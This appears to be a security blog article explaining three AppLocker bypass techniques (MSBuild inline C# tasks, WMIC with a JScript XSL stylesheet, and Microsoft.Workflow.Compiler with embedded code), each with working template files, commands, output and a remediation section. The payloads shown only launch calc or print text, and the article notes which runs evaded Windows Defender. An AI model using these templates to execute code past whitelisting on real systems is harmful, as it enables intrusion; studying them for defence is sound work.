Mastering AppLocker Evasion Techniques

Introduction

AppLocker is a powerful Windows security feature that allows administrators to control which applications and scripts can be executed on a system. In this article, we will explore several evasion techniques that attackers may use to bypass AppLocker and execute malicious code. Understanding these techniques is crucial for system administrators to protect their systems effectively.

Bypassing AppLocker with MSBuild

In computer programming, MSBuild.exe is a build tool used by Microsoft to compile and build software projects. It is typically used with .NET projects and is included with the .NET Framework and Visual Studio. MSBuild is a powerful tool that allows developers to automate the build process, but it can also be used for other purposes.

Understanding the Risk

One such purpose is to compile and execute inline C# code stored in an XML file. This may sound like an unusual use case, but it can be a useful technique in certain situations. For example, it can be used to generate code dynamically or to execute code in a sandboxed environment.

From an attacker’s perspective, the ability to use MSBuild.exe to compile and execute inline C# code stored in an XML file. It can provide attackers with a powerful tool for executing malicious code on a victim’s machine.

Example MSBuild Project File

Here is an example of an MSBuild project file that can be used for malicious purposes:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {                   
          public override bool Execute()
          {
              <!>here we will place our malicious code<!>                                        
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Here is an example of a malicious MSBuild project file, in our case code, that will display “Hello World!”.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {                   
          public override bool Execute()
          {
              System.Console.WriteLine("Hello World!");
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

After that save the malicious MSBuild project file on disk with the following extension .csproj, and we will run the file.

PS C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\test\evil.csproj"
Microsoft (R) Build Engine version 4.8.4084.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 9/16/2023 3:18:11 AM.
Hello World!

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:01.73

Picture 1: Demonstrate Successfully execution on our malicious C# code.

Remediation

To mitigate the risk associated with MSBuild.exe, administrators can block its execution in AppLocker’s executable policies for non-admin users. This restriction helps prevent non-admin users from running custom MSBuild projects.

References

Microsoft docs - MSBuild Inline Tasks

Bypassing AppLocker with WMIC

Another application whitelist bypassing technique is using WMIC.exe, or Windows Management Instrumentation Command-line is a command-line tool used by system administrators to manage Windows systems.

Understanding the Risk

Attackers can use WMIC.exe to execute malicious code, create persistence, and perform other malicious actions on a compromised system. This makes it a valuable tool in evasion techniques.

Example Malicious XSL File

Attackers can use XSL files to execute arbitrary code through WMIC.exe. Here’s an example of a malicious XSL file that runs the Calculator application:

<?xml version='1.0'?>

<stylesheet

xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"

xmlns:user="placeholder"

version="1.0">

<output method="text"/>

<ms:script implements-prefix="user" language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc");

]]> </ms:script>

</stylesheet>

After saving this malicious XSL file, an attacker can use WMIC.exe to execute it and run the Calculator application.

PS C:\test>wmic os get /format:evil1.xsl
  os get /format:evil1.xslDESKTOP-L44HPT3root\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\HarddiskVolume119045Multiprocessor FreeMicrosoft Windows 10 Pro12521Win32_OperatingSystemWin32_ComputerSystemDESKTOP-L44HPT3-420TRUETRUETRUE2FALSEFALSE256261090601966080821572020230717030853.000000-42020230916031055.534448-42020230916033906.653000-4200409Microsoft Corporation4294967295137438953344en-USMicrosoft Windows 10 Pro|C:\Windows|\Device\Harddisk0\Partition212324864-bit103325618FALSETRUE1Dev00330-80000-00000-AA900001966080OK272\Device\HarddiskVolume2C:\Windows\system32C:10354228838814810.0.19045C:\Windows

Picture 2: Demonstration of Execution “calc” via xsl File Using WMIC

We observe the execution of a demonstration involving the “calc” application from an xsl file using the Windows Management Instrumentation Command-line (WMIC). Despite Windows Defender’s detection, which is a testament to its security features, the “calc” application still successfully executes. This illustrates the importance of robust security measures to prevent and mitigate potential threats even when initial detection occurs.

Another successful command:

PS C:\test>wmic.exe process get brief /format:evil1.xsl
Node - DESKTOP-L44HPT3
ERROR:
Description = Invalid query
  process get brief /format:evil1.xslDESKTOP-L44HPT3root\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON0x80041017Invalid query
WMI

Picture 3: Demonstration of Execution “calc” via xsl File Using WMIC

We observe an attempt again to execute the ‘calc’ application via an ‘xsl’ file using the Windows Management Instrumentation Command-line (WMIC). Despite Windows Defender’s detection, which underscores its vigilant security capabilities, the ‘calc’ application still successfully executes. This situation underscores the importance of maintaining robust security measures to detect and address potential threats, even in cases where neutralization may not occur upon initial detection.

Other commands that have not been detected by Windows Defender:

PS C:\test>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 972;
        ReturnValue = 0;
};

Picture 4: Demonstration of Execution “calc” via “process call”

In the given scenario, the command $ wmic.exe process call create calc is executed, resulting in the successful launch of the “calc” application. Notably, in this instance, Windows Defender does not detect or raise any alarms. This serves as a reminder of the ongoing challenge in the cybersecurity landscape, where certain techniques or methods may evade detection by security software. It underscores the need for continuous vigilance, timely updates, and evolving security strategies to stay ahead of potential threats.

PS C:\test>wmic.exe /node:"127.0.0.1" process call create "calc.exe"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 6608;
        ReturnValue = 0;
};

Picture 5: Demonstration of “calc” Execution via “process call” on localhost node

In this specific command execution, wmic.exe /node:"127.0.0.1" process call create "calc.exe" we achieve success without triggering any Windows Defender detection again.

Remediation

Blocking WMIC.exe in AppLocker’s executable policies for non-admin users is an effective way to prevent attackers from using it to execute malicious commands or scripts.

References

IredTeam - Application Whitelisting Bypass with WMIC and XSL

Bypassing AppLocker with Microsoft Workflow Compiler

Microsoft.Workflow.Compiler.exe is a command-line tool that is part of the Microsoft .NET Framework, which is a software development framework created by Microsoft. This tool is used to compile workflows that are created using Microsoft’s Windows Workflow Foundation (WF) technology.

Windows Workflow Foundation is a programming model and framework for building workflow-enabled applications. A workflow is a sequence of activities that can be executed in a specified order to accomplish a specific task. Windows Workflow Foundation provides a set of tools for creating, executing, and managing workflows.

Microsoft.Workflow.Compiler.exe is used to compile XAML files that define workflows into binary format. The binary format can be executed by the Windows Workflow Foundation runtime. The tool also provides options for specifying output directories, target framework versions, and other parameters that control the compilation process.

Understanding the Risk

it can also be abused by attackers If there are any security vulnerabilities present in Microsoft.Workflow.Compiler.exe, an attacker could attempt to exploit them to gain unauthorized access to the system, execute malicious code, or cause the tool to behave unexpectedly. Microsoft.Workflow.Compiler.exe is responsible for compiling XAML files into binary format, and an attacker could potentially inject malicious code into the XAML files in order to execute that code on the system where the compiled workflows are executed.

Example Invocation

An example invocation of Microsoft.Workflow.Compiler.exe:

PS C:\test>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml
Hello World!!!!

Picture 6: Demonstrating the Invocation of Microsoft.workflow.compiler.exe

Contents of test.xml:

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>

Contents of test.xoml:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
    <CodeActivity x:Name="codeActivity1" />
    <x:Code><![CDATA[
    public class Foo : SequentialWorkflowActivity {
     public Foo() {
            Console.WriteLine("Hello World!!!!");
        }
    }
    ]]></x:Code>
</SequentialWorkflowActivity>

Remediation

Blocking non-administrative users from running Microsoft.Workflow.Compiler.exe using AppLocker can help prevent attackers from abusing this tool for malicious purposes.

References

SpecterOps - Arbitrary, Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe

Conclusion

Understanding AppLocker evasion techniques is crucial for both system administrators and security professionals. By being aware of these techniques, organizations can implement effective security measures to protect their systems against malicious activities. AppLocker, when properly configured and managed, can significantly enhance the security posture of Windows systems.

Remember to stay vigilant, keep your systems up to date, and regularly review and update your AppLocker policies to stay ahead of ever-evolving threats.

For a deeper dive into AppLocker, including its configuration, policy management, and a broader understanding of its capabilities, We encourage you to revisit our previous article, “AppLocker: Security, Rules, and Bypass Techniques.” By combining the insights from both articles, you’ll be well-equipped to strengthen your organization’s security posture.